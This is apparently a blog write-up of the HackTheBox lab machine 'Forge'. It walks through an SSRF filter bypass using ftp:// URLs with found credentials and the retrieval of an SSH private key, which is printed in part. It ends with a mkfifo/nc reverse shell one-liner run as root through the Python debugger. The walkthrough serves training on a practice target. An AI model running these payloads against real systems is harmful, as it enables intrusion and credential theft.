Sitemap
Himanshu Das

Himanshu Das

FORGE — HackTheBox WriteUp

5 min readMay 9, 2022

FORGE is a LINUX machine of MEDIUM difficulty.

Do a rustscan to check for open ports:

rustscan -a 10.10.11.111 --ulimit 5000 -- -A -Pn -T4 -sC -sV
Press enter or click to view image in full size

Add forge.htb to your /etc/hosts. Run ffuf for directory busting:

ffuf -w '/usr/share/wordlists/dirb/common.txt' -u 'http://forge.htb/FUZZ' -t 64 -e '.txt,.php,.html'
Press enter or click to view image in full size

Let’s visit the site:

Press enter or click to view image in full size

Clicking on Upload an image brings us to this page:

Press enter or click to view image in full size

I uploaded the Pentestmonkey PHP reverse shell here, then clicked on the linked provided to go to the file:

Press enter or click to view image in full size

Ok, let’s look into this a little, but first, let’s enumerate for some subdomains as well:

gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u forge.htb -t 64

And I got a looooottttt of output, but in between those, I found this:

admin.forge.htb has status code 200, rest others have 302. Let’s add that to our /etc/hosts as well. Visiting that:

Ok :/
Anyways, let’s search for the file upload:

In this the Upload files from URL section caught my eye. But the server renders the files as an image, so probably not of use to us. But, the word SSRF word caught my eye as well. I tried to upload this file from URL: http://admin.forge.htb, and I got this:

Press enter or click to view image in full size

See this article:

I tried some things, but they didn’t work. But, when I tried: http://admin.FORGE.htb:

Press enter or click to view image in full size

Ok, it got uploaded! Now, no use of opening that, but, I tried to download that using wget:

wget http://forge.htb/uploads/B4RiQc0q0IlNEgfVvTqL
Press enter or click to view image in full size

So yes! It worked. We see a /announcements directory. Let’s try to get that:

Press enter or click to view image in full size

user:heightofsecurity123!
Also, we see that ftp is supported. Also, it is shown below how we can access that. Read this article:

Let’s try this now: http://admin.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@LOCALHOST

Ok, so we are most probably in the home directory. Let’s try to get id_rsa: http://admin.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@LOCALHOST/.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC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JDYI0nfO+8xoHbwaQ2if9GLXLBFe2f0BmXr
W/y1sxXy8nrltMVzVfCP02sbkBV9JZAAAAwQDErJZn6A+nTI+5g2LkofWK1BA0X79ccXeL
wS5q+66leUP0KZrDdow0s77QD+86dDjoq4fMRLl4yPfWOsxEkg90rvOr3Z9ga1jPCSFNAb
RVFD+gXCAOBF+afizL3fm40cHECsUifh24QqUSJ5f/xZBKu04Ypad8nH9nlkRdfOuh2jQb
nR7k4+Pryk8HqgNS3/g1/Fpd52DDziDOAIfORntwkuiQSlg63hF3vadCAV3KIVLtBONXH2
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----

Also, reading authorized keys shows us that the user’s name is user. Let’s SSH into him:

Press enter or click to view image in full size

Get user.txt from /home/forge/user.txt.

Get Himanshu Das’s stories in your inbox

Join Medium for free to get updates from this writer.

Now, time for privilege escalation! Run sudo -l:

Press enter or click to view image in full size

We can execute that script as root, but sadly, we are not allowed to change its permissions. Let’s view what’s inside it:

Press enter or click to view image in full size

Guess it runs a listener. Let’s run the script using:

sudo /usr/bin/python3 /opt/remote-manage.py

Let’s fire up another SSH session and connect to it:

nc localhost 31724

Entering 1,2,3,4 runs the commands as specified. Note that if you cause an exception, then it opents the Python Debugger (PDB). I entered any text (like, abcd)

So, we got a Python debugger. Note that we can run python commands in PDB. (I found out about this today xD):

We can try a reverse shell. Run these commands (the reverse shell was taken from pentestmonkey reverse shell cheatsheet):

import osos.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 1234 >/tmp/f')

Make sure to have a nc listener running, and:

We are root!
Get root.txt from /root/root.txt

We have successfully pwned the box!

--

--